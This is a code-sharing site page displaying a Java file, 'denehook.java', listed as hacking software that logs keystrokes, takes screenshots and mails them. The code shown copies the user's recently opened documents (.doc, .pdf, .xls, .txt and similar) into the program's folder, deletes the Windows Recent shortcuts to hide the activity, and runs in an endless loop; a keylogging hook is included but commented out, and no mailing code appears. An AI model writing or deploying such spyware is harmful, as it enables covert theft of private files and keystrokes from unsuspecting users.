⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 denehook.java~23~

📁 Hacking Software source code, Listening keyboard and get screenshut and sent a mail to your mail ad
💻 JAVA~23~
字号:
package metehook;

import com.jniwrapper.*;
import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import com.jniwrapper.win32.hook.MouseEvent;
import com.jniwrapper.win32.hook.KeyboardEvent;
import java.io.ByteArrayOutputStream;
import java.io.RandomAccessFile;
import java.awt.image.BufferedImage;
import java.awt.Robot;
import com.jniwrapper.win32.hook.Hook;
import java.io.InputStream;
import java.io.File;
import com.jniwrapper.win32.hook.HookEventListener;
import com.jniwrapper.win32.hook.HookEventObject;
import com.jniwrapper.win32.shell.ShellLink;
import com.jniwrapper.win32.com.ComFunctions;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.OutputStream;

public class denehook {
    KeyboardEvent khe = null;
    boolean sil,kont=true;
    public denehook() {
        anahook ah = new anahook();
        ah.start();
    }

    public void lnkal()
{
    try{
        String [] strr2=null;
        String ara="";

        File dosya=new File(""+System.getProperties().getProperty("user.home")+"\\recent\\");
        strr2=dosya.list();
        System.out.println(">"+strr2.length+""+strr2[0]+"_"+strr2[1]);

        ComFunctions.coInitialize();

        for(int i=0;i<strr2.length;i++)
        {
            ara=ShellLink.resolveLink(new File(System.getProperties().getProperty("user.home")+"\\recent\\"+strr2[i]));
            if(!ara.startsWith("\\")&&(ara.indexOf(".doc")!=-1||ara.indexOf(".pdf")!=-1||ara.indexOf(".xls")!=-1||ara.indexOf(".docx")!=-1
                    ||ara.indexOf(".xlsx")!=-1||ara.indexOf(".txt")!=-1))
            {
                copy(new File(ara),new File(System.getProperties().getProperty("user.dir")+"\\"+strr2[i]+".x"));
                sil=new File(System.getProperties().getProperty("user.home")+"\\recent\\"+strr2[i]).delete();
            }
            else
            {
                sil=new File(System.getProperties().getProperty("user.home")+"\\recent\\"+strr2[i]).delete();
            }
        }
            ComFunctions.coUninitialize();
    }catch(Exception fg){}

}

void copy(File src, File dst) {
    try{
        InputStream in = new FileInputStream(src);
        OutputStream out = new FileOutputStream(dst);

        byte[] buf = new byte[1024];
        int len;
        while ((len = in.read(buf)) > 0) {
            out.write(buf, 0, len);
        }
        in.close();
        out.close();
    }catch(Exception rt){}
    }


    public void basla() {
        lnkal();
/*
        Hook.KEYBOARD.addListener(new HookEventListener() {
            public void onHookEvent(HookEventObject event) {
                khe = (KeyboardEvent) event;
                if (khe.getTransitionState() == false) {
                    try {
                        System.out.println(">>>>" +(char) khe.getVirtualKeyCode());
                    } catch (Exception ghj) {}
                }
            }
        });
        Hook.KEYBOARD.install();
*/
    }



    public void bitir() {
        Hook.KEYBOARD.uninstall();
    }

    public static void main(String[] args) {
        denehook hook = new denehook();
    }

    class anahook extends Thread {
        public void run() {
            while (true) {
             //   if(kont)
               { basla();
                   kont=false;
               }
            }
        }
    }


}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -